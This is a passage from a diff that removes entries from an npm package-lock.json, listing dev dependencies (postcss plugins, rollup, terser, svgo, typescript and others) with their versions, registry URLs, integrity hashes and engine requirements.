"https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-3.1.4.tgz", - "integrity": "sha512-6DiM4E7v4coTE4uzA8U//WhtPwyhiim3eyjEMFCnUpzbrkK9wJHgKDT2mR+HbtSrd/NubVaYTOpSpjUl8NQeRg==", - "dev": true, - "dependencies": { - "lilconfig": "^2.0.5", - "yaml": "^1.10.2" - }, - "engines": { - "node": ">= 10" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - "peerDependencies": { - "postcss": ">=8.0.9", - "ts-node": ">=9.0.0" - }, - "peerDependenciesMeta": { - "postcss": { - "optional": true - }, - "ts-node": { - "optional": true - } - } - }, - "node_modules/postcss-merge-longhand": { - "version": "5.1.6", - "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-5.1.6.tgz", - "integrity": "sha512-6C/UGF/3T5OE2CEbOuX7iNO63dnvqhGZeUnKkDeifebY0XqkkvrctYSZurpNE902LDf2yKwwPFgotnfSoPhQiw==", - "dev": true, - "dependencies": { - "postcss-value-parser": "^4.2.0", - "stylehacks": "^5.1.0" - }, - "engines": { - "node": "^10 || ^12 || >=14.0" - }, - "peerDependencies": { - "postcss": "^8.2.15" - } - }, - "node_modules/postcss-merge-rules": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-5.1.2.tgz", - "integrity": "sha512-zKMUlnw+zYCWoPN6yhPjtcEdlJaMUZ0WyVcxTAmw3lkkN/NDMRkOkiuctQEoWAOvH7twaxUUdvBWl0d4+hifRQ==", - "dev": true, - "dependencies": { - "browserslist": "^4.16.6", - "caniuse-api": "^3.0.0", - "cssnano-utils": "^3.1.0", - "postcss-selector-parser": "^6.0.5" - }, - "engines": { - "node": "^10 || ^12 || >=14.0" - }, - "peerDependencies": { - "postcss": "^8.2.15" - } - }, - "node_modules/postcss-minify-font-values": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-5.1.0.tgz", - "integrity": "sha512-el3mYTgx13ZAPPirSVsHqFzl+BBBDrXvbySvPGFnQcTI4iNslrPaFq4muTkLZmKlGk4gyFAYUBMH30+HurREyA==", - "dev": true, - "dependencies": { - "postcss-value-parser": "^4.2.0" - }, - "engines": { - "node": "^10 || ^12 || >=14.0" - }, - "peerDependencies": { - "postcss": "^8.2.15" - } - }, - "node_modules/postcss-minify-gradients": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-5.1.1.tgz", - "integrity": "sha512-VGvXMTpCEo4qHTNSa9A0a3D+dxGFZCYwR6Jokk+/3oB6flu2/PnPXAh2x7x52EkY5xlIHLm+Le8tJxe/7TNhzw==", - "dev": true, - "dependencies": { - "colord": "^2.9.1", - "cssnano-utils": "^3.1.0", - "postcss-value-parser": "^4.2.0" - }, - "engines": { - "node": "^10 || ^12 || >=14.0" - }, - "peerDependencies": { - "postcss": "^8.2.15" - } - }, - "node_modules/postcss-minify-params": { - "version": "5.1.3", - "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-5.1.3.tgz", - "integrity": "sha512-bkzpWcjykkqIujNL+EVEPOlLYi/eZ050oImVtHU7b4lFS82jPnsCb44gvC6pxaNt38Els3jWYDHTjHKf0koTgg==", - "dev": true, - "dependencies": { - "browserslist": "^4.16.6", - "cssnano-utils": "^3.1.0", - "postcss-value-parser": "^4.2.0" - }, - "engines": { - "node": "^10 || ^12 || >=14.0" - }, - "peerDependencies": { - "postcss": "^8.2.15" - } - }, - "node_modules/postcss-minify-selectors": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-5.2.1.tgz", - "integrity": "sha512-nPJu7OjZJTsVUmPdm2TcaiohIwxP+v8ha9NehQ2ye9szv4orirRU3SDdtUmKH+10nzn0bAyOXZ0UEr7OpvLehg==", - "dev": true, - "dependencies": { - "postcss-selector-parser": "^6.0.5" - }, - "engines": { - "node": "^10 || ^12 || >=14.0" - }, - "peerDependencies": { - "postcss": "^8.2.15" - } - }, - "node_modules/postcss-normalize-charset": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-5.1.0.tgz", - "integrity": "sha512-mSgUJ+pd/ldRGVx26p2wz9dNZ7ji6Pn8VWBajMXFf8jk7vUoSrZ2lt/wZR7DtlZYKesmZI680qjr2CeFF2fbUg==", - "dev": true, - "engines": { - "node": "^10 || ^12 || >=14.0" - }, - "peerDependencies": { - "postcss": "^8.2.15" - } - }, - "node_modules/postcss-normalize-display-values": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-display-values/-/postcss-normalize-display-values-5.1.0.tgz", - "integrity": "sha512-WP4KIM4o2dazQXWmFaqMmcvsKmhdINFblgSeRgn8BJ6vxaMyaJkwAzpPpuvSIoG/rmX3M+IrRZEz2H0glrQNEA==", - "dev": true, - "dependencies": { - "postcss-value-parser": "^4.2.0" - }, - "engines": { - "node": "^10 || ^12 || >=14.0" - }, - "peerDependencies": { - "postcss": "^8.2.15" - } - }, - "node_modules/postcss-normalize-positions": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/postcss-normalize-positions/-/postcss-normalize-positions-5.1.1.tgz", - "integrity": "sha512-6UpCb0G4eofTCQLFVuI3EVNZzBNPiIKcA1AKVka+31fTVySphr3VUgAIULBhxZkKgwLImhzMR2Bw1ORK+37INg==", - "dev": true, - "dependencies": { - "postcss-value-parser": "^4.2.0" - }, - "engines": { - "node": "^10 || ^12 || >=14.0" - }, - "peerDependencies": { - "postcss": "^8.2.15" - } - }, - "node_modules/postcss-normalize-repeat-style": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-5.1.1.tgz", - "integrity": "sha512-mFpLspGWkQtBcWIRFLmewo8aC3ImN2i/J3v8YCFUwDnPu3Xz4rLohDO26lGjwNsQxB3YF0KKRwspGzE2JEuS0g==", - "dev": true, - "dependencies": { - "postcss-value-parser": "^4.2.0" - }, - "engines": { - "node": "^10 || ^12 || >=14.0" - }, - "peerDependencies": { - "postcss": "^8.2.15" - } - }, - "node_modules/postcss-normalize-string": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-string/-/postcss-normalize-string-5.1.0.tgz", - "integrity": "sha512-oYiIJOf4T9T1N4i+abeIc7Vgm/xPCGih4bZz5Nm0/ARVJ7K6xrDlLwvwqOydvyL3RHNf8qZk6vo3aatiw/go3w==", - "dev": true, - "dependencies": { - "postcss-value-parser": "^4.2.0" - }, - "engines": { - "node": "^10 || ^12 || >=14.0" - }, - "peerDependencies": { - "postcss": "^8.2.15" - } - }, - "node_modules/postcss-normalize-timing-functions": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-5.1.0.tgz", - "integrity": "sha512-DOEkzJ4SAXv5xkHl0Wa9cZLF3WCBhF3o1SKVxKQAa+0pYKlueTpCgvkFAHfk+Y64ezX9+nITGrDZeVGgITJXjg==", - "dev": true, - "dependencies": { - "postcss-value-parser": "^4.2.0" - }, - "engines": { - "node": "^10 || ^12 || >=14.0" - }, - "peerDependencies": { - "postcss": "^8.2.15" - } - }, - "node_modules/postcss-normalize-unicode": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-unicode/-/postcss-normalize-unicode-5.1.0.tgz", - "integrity": "sha512-J6M3MizAAZ2dOdSjy2caayJLQT8E8K9XjLce8AUQMwOrCvjCHv24aLC/Lps1R1ylOfol5VIDMaM/Lo9NGlk1SQ==", - "dev": true, - "dependencies": { - "browserslist": "^4.16.6", - "postcss-value-parser": "^4.2.0" - }, - "engines": { - "node": "^10 || ^12 || >=14.0" - }, - "peerDependencies": { - "postcss": "^8.2.15" - } - }, - "node_modules/postcss-normalize-url": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-url/-/postcss-normalize-url-5.1.0.tgz", - "integrity": "sha512-5upGeDO+PVthOxSmds43ZeMeZfKH+/DKgGRD7TElkkyS46JXAUhMzIKiCa7BabPeIy3AQcTkXwVVN7DbqsiCew==", - "dev": true, - "dependencies": { - "normalize-url": "^6.0.1", - "postcss-value-parser": "^4.2.0" - }, - "engines": { - "node": "^10 || ^12 || >=14.0" - }, - "peerDependencies": { - "postcss": "^8.2.15" - } - }, - "node_modules/postcss-normalize-whitespace": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/postcss-normalize-whitespace/-/postcss-normalize-whitespace-5.1.1.tgz", - "integrity": "sha512-83ZJ4t3NUDETIHTa3uEg6asWjSBYL5EdkVB0sDncx9ERzOKBVJIUeDO9RyA9Zwtig8El1d79HBp0JEi8wvGQnA==", - "dev": true, - "dependencies": { - "postcss-value-parser": "^4.2.0" - }, - "engines": { - "node": "^10 || ^12 || >=14.0" - }, - "peerDependencies": { - "postcss": "^8.2.15" - } - }, - "node_modules/postcss-ordered-values": { - "version": "5.1.3", - "resolved": "https://registry.npmjs.org/postcss-ordered-values/-/postcss-ordered-values-5.1.3.tgz", - "integrity": "sha512-9UO79VUhPwEkzbb3RNpqqghc6lcYej1aveQteWY+4POIwlqkYE21HKWaLDF6lWNuqCobEAyTovVhtI32Rbv2RQ==", - "dev": true, - "dependencies": { - "cssnano-utils": "^3.1.0", - "postcss-value-parser": "^4.2.0" - }, - "engines": { - "node": "^10 || ^12 || >=14.0" - }, - "peerDependencies": { - "postcss": "^8.2.15" - } - }, - "node_modules/postcss-reduce-initial": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-5.1.0.tgz", - "integrity": "sha512-5OgTUviz0aeH6MtBjHfbr57tml13PuedK/Ecg8szzd4XRMbYxH4572JFG067z+FqBIf6Zp/d+0581glkvvWMFw==", - "dev": true, - "dependencies": { - "browserslist": "^4.16.6", - "caniuse-api": "^3.0.0" - }, - "engines": { - "node": "^10 || ^12 || >=14.0" - }, - "peerDependencies": { - "postcss": "^8.2.15" - } - }, - "node_modules/postcss-reduce-transforms": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-reduce-transforms/-/postcss-reduce-transforms-5.1.0.tgz", - "integrity": "sha512-2fbdbmgir5AvpW9RLtdONx1QoYG2/EtqpNQbFASDlixBbAYuTcJ0dECwlqNqH7VbaUnEnh8SrxOe2sRIn24XyQ==", - "dev": true, - "dependencies": { - "postcss-value-parser": "^4.2.0" - }, - "engines": { - "node": "^10 || ^12 || >=14.0" - }, - "peerDependencies": { - "postcss": "^8.2.15" - } - }, - "node_modules/postcss-reporter": { - "version": "7.0.5", - "resolved": "https://registry.npmjs.org/postcss-reporter/-/postcss-reporter-7.0.5.tgz", - "integrity": "sha512-glWg7VZBilooZGOFPhN9msJ3FQs19Hie7l5a/eE6WglzYqVeH3ong3ShFcp9kDWJT1g2Y/wd59cocf9XxBtkWA==", - "dev": true, - "dependencies": { - "picocolors": "^1.0.0", - "thenby": "^1.3.4" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - "peerDependencies": { - "postcss": "^8.1.0" - } - }, - "node_modules/postcss-selector-parser": { - "version": "6.0.10", - "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.10.tgz", - "integrity": "sha512-IQ7TZdoaqbT+LCpShg46jnZVlhWD2w6iQYAcYXfHARZ7X1t/UGhhceQDs5X0cGqKvYlHNOuv7Oa1xmb0oQuA3w==", - "dev": true, - "dependencies": { - "cssesc": "^3.0.0", - "util-deprecate": "^1.0.2" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-svgo": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-svgo/-/postcss-svgo-5.1.0.tgz", - "integrity": "sha512-D75KsH1zm5ZrHyxPakAxJWtkyXew5qwS70v56exwvw542d9CRtTo78K0WeFxZB4G7JXKKMbEZtZayTGdIky/eA==", - "dev": true, - "dependencies": { - "postcss-value-parser": "^4.2.0", - "svgo": "^2.7.0" - }, - "engines": { - "node": "^10 || ^12 || >=14.0" - }, - "peerDependencies": { - "postcss": "^8.2.15" - } - }, - "node_modules/postcss-unique-selectors": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/postcss-unique-selectors/-/postcss-unique-selectors-5.1.1.tgz", - "integrity": "sha512-5JiODlELrz8L2HwxfPnhOWZYWDxVHWL83ufOv84NrcgipI7TaeRsatAhK4Tr2/ZiYldpK/wBvw5BD3qfaK96GA==", - "dev": true, - "dependencies": { - "postcss-selector-parser": "^6.0.5" - }, - "engines": { - "node": "^10 || ^12 || >=14.0" - }, - "peerDependencies": { - "postcss": "^8.2.15" - } - }, - "node_modules/postcss-value-parser": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", - "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", - "dev": true - }, - "node_modules/pretty-hrtime": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/pretty-hrtime/-/pretty-hrtime-1.0.3.tgz", - "integrity": "sha512-66hKPCr+72mlfiSjlEB1+45IjXSqvVAIy6mocupoww4tBFE9R9IhwwUGoI4G++Tc9Aq+2rxOt0RFU6gPcrte0A==", - "dev": true, - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/queue-microtask": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", - "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ] - }, - "node_modules/randombytes": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", - "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", - "dev": true, - "dependencies": { - "safe-buffer": "^5.1.0" - } - }, - "node_modules/read-cache": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz", - "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==", - "dev": true, - "dependencies": { - "pify": "^2.3.0" - } - }, - "node_modules/readdirp": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", - "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", - "dev": true, - "dependencies": { - "picomatch": "^2.2.1" - }, - "engines": { - "node": ">=8.10.0" - } - }, - "node_modules/require-directory": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", - "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/resolve": { - "version": "1.22.1", - "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.1.tgz", - "integrity": "sha512-nBpuuYuY5jFsli/JIs1oldw6fOQCBioohqWZg/2hiaOybXOft4lonv85uDOKXdf8rhyK159cxU5cDcK/NKk8zw==", - "dev": true, - "dependencies": { - "is-core-module": "^2.9.0", - "path-parse": "^1.0.7", - "supports-preserve-symlinks-flag": "^1.0.0" - }, - "bin": { - "resolve": "bin/resolve" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/reusify": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", - "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", - "dev": true, - "engines": { - "iojs": ">=1.0.0", - "node": ">=0.10.0" - } - }, - "node_modules/rollup": { - "version": "2.75.7", - "resolved": "https://registry.npmjs.org/rollup/-/rollup-2.75.7.tgz", - "integrity": "sha512-VSE1iy0eaAYNCxEXaleThdFXqZJ42qDBatAwrfnPlENEZ8erQ+0LYX4JXOLPceWfZpV1VtZwZ3dFCuOZiSyFtQ==", - "dev": true, - "bin": { - "rollup": "dist/bin/rollup" - }, - "engines": { - "node": ">=10.0.0" - }, - "optionalDependencies": { - "fsevents": "~2.3.2" - } - }, - "node_modules/rollup-plugin-terser": { - "version": "7.0.2", - "resolved": "https://registry.npmjs.org/rollup-plugin-terser/-/rollup-plugin-terser-7.0.2.tgz", - "integrity": "sha512-w3iIaU4OxcF52UUXiZNsNeuXIMDvFrr+ZXK6bFZ0Q60qyVfq4uLptoS4bbq3paG3x216eQllFZX7zt6TIImguQ==", - "dev": true, - "dependencies": { - "@babel/code-frame": "^7.10.4", - "jest-worker": "^26.2.1", - "serialize-javascript": "^4.0.0", - "terser": "^5.0.0" - }, - "peerDependencies": { - "rollup": "^2.0.0" - } - }, - "node_modules/run-parallel": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", - "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ], - "dependencies": { - "queue-microtask": "^1.2.2" - } - }, - "node_modules/safe-buffer": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", - "dev": true, - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ] - }, - "node_modules/serialize-javascript": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-4.0.0.tgz", - "integrity": "sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==", - "dev": true, - "dependencies": { - "randombytes": "^2.1.0" - } - }, - "node_modules/slash": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/slash/-/slash-4.0.0.tgz", - "integrity": "sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew==", - "dev": true, - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/source-map-js": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz", - "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/source-map-support": { - "version": "0.5.21", - "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", - "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", - "dev": true, - "dependencies": { - "buffer-from": "^1.0.0", - "source-map": "^0.6.0" - } - }, - "node_modules/sourcemap-codec": { - "version": "1.4.8", - "resolved": "https://registry.npmjs.org/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz", - "integrity": "sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==", - "dev": true - }, - "node_modules/stable": { - "version": "0.1.8", - "resolved": "https://registry.npmjs.org/stable/-/stable-0.1.8.tgz", - "integrity": "sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w==", - "deprecated": "Modern JS already guarantees Array#sort() is a stable sort, so this library is deprecated. See the compatibility table on MDN: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort#browser_compatibility", - "dev": true - }, - "node_modules/string-width": { - "version": "4.2.3", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", - "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", - "dev": true, - "dependencies": { - "emoji-regex": "^8.0.0", - "is-fullwidth-code-point": "^3.0.0", - "strip-ansi": "^6.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/strip-ansi": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", - "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", - "dev": true, - "dependencies": { - "ansi-regex": "^5.0.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/stylehacks": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/stylehacks/-/stylehacks-5.1.0.tgz", - "integrity": "sha512-SzLmvHQTrIWfSgljkQCw2++C9+Ne91d/6Sp92I8c5uHTcy/PgeHamwITIbBW9wnFTY/3ZfSXR9HIL6Ikqmcu6Q==", - "dev": true, - "dependencies": { - "browserslist": "^4.16.6", - "postcss-selector-parser": "^6.0.4" - }, - "engines": { - "node": "^10 || ^12 || >=14.0" - }, - "peerDependencies": { - "postcss": "^8.2.15" - } - }, - "node_modules/supports-color": { - "version": "5.5.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", - "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", - "dev": true, - "dependencies": { - "has-flag": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/supports-preserve-symlinks-flag": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", - "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", - "dev": true, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/svgo": { - "version": "2.8.0", - "resolved": "https://registry.npmjs.org/svgo/-/svgo-2.8.0.tgz", - "integrity": "sha512-+N/Q9kV1+F+UeWYoSiULYo4xYSDQlTgb+ayMobAXPwMnLvop7oxKMo9OzIrX5x3eS4L4f2UHhc9axXwY8DpChg==", - "dev": true, - "dependencies": { - "@trysound/sax": "0.2.0", - "commander": "^7.2.0", - "css-select": "^4.1.3", - "css-tree": "^1.1.3", - "csso": "^4.2.0", - "picocolors": "^1.0.0", - "stable": "^0.1.8" - }, - "bin": { - "svgo": "bin/svgo" - }, - "engines": { - "node": ">=10.13.0" - } - }, - "node_modules/terser": { - "version": "5.14.1", - "resolved": "https://registry.npmjs.org/terser/-/terser-5.14.1.tgz", - "integrity": "sha512-+ahUAE+iheqBTDxXhTisdA8hgvbEG1hHOQ9xmNjeUJSoi6DU/gMrKNcfZjHkyY6Alnuyc+ikYJaxxfHkT3+WuQ==", - "dev": true, - "dependencies": { - "@jridgewell/source-map": "^0.3.2", - "acorn": "^8.5.0", - "commander": "^2.20.0", - "source-map-support": "~0.5.20" - }, - "bin": { - "terser": "bin/terser" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/terser/node_modules/commander": { - "version": "2.20.3", - "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", - "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", - "dev": true - }, - "node_modules/thenby": { - "version": "1.3.4", - "resolved": "https://registry.npmjs.org/thenby/-/thenby-1.3.4.tgz", - "integrity": "sha512-89Gi5raiWA3QZ4b2ePcEwswC3me9JIg+ToSgtE0JWeCynLnLxNr/f9G+xfo9K+Oj4AFdom8YNJjibIARTJmapQ==", - "dev": true - }, - "node_modules/to-regex-range": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", - "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", - "dev": true, - "dependencies": { - "is-number": "^7.0.0" - }, - "engines": { - "node": ">=8.0" - } - }, - "node_modules/tslib": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.4.0.tgz", - "integrity": "sha512-d6xOpEDfsi2CZVlPQzGeux8XMwLT9hssAsaPYExaQMuYskwb+x1x7J371tWlbBdWHroy99KnVB6qIkUbs5X3UQ==", - "dev": true - }, - "node_modules/typescript": { - "version": "4.7.4", - "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.7.4.tgz", - "integrity": "sha512-C0WQT0gezHuw6AdY1M2jxUO83Rjf0HP7Sk1DtXj6j1EwkQNZrHAg2XPWlq62oqEhYvONq5pkC2Y9oPljWToLmQ==", - "dev": true, - "bin": { - "tsc": "bin/tsc", - "tsserver": "bin/tsserver" - }, - "engines": { - "node": ">=4.2.0" - } - }, - "node_modules/universalify": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz", - "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==", - "dev": true, - "engines": { - "node": ">= 10.0.0" - } - }, - "node_modules/update-browserslist-db": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.4.tgz", - "integrity": "sha512-jnmO2BEGUjsMOe/Fg9u0oczOe/ppIDZPebzccl1yDWGLFP16Pa1/RM5wEoKYPG2zstNcDuAStejyxsOuKINdGA==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/browserslist" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/browserslist" - } - ], - "dependencies": { - "escalade": "^3.1.1", - "picocolors": "^1.0.0" - }, - "bin": { - "browserslist-lint": "cli.js" - }, - "peerDependencies": { - "browserslist": ">= 4.21.0" - } - }, - "node_modules/util-deprecate": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", - "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", - "dev": true - }, - "node_modules/wrap-ansi": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", - "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", - "dev": true, - "dependencies": { - "ansi-styles": "^4.0.0", - "string-width": "^4.1.0", - "strip-ansi": "^6.0.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/wrap-ansi?sponsor=1" - } - }, - "node_modules/wrap-ansi/node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": 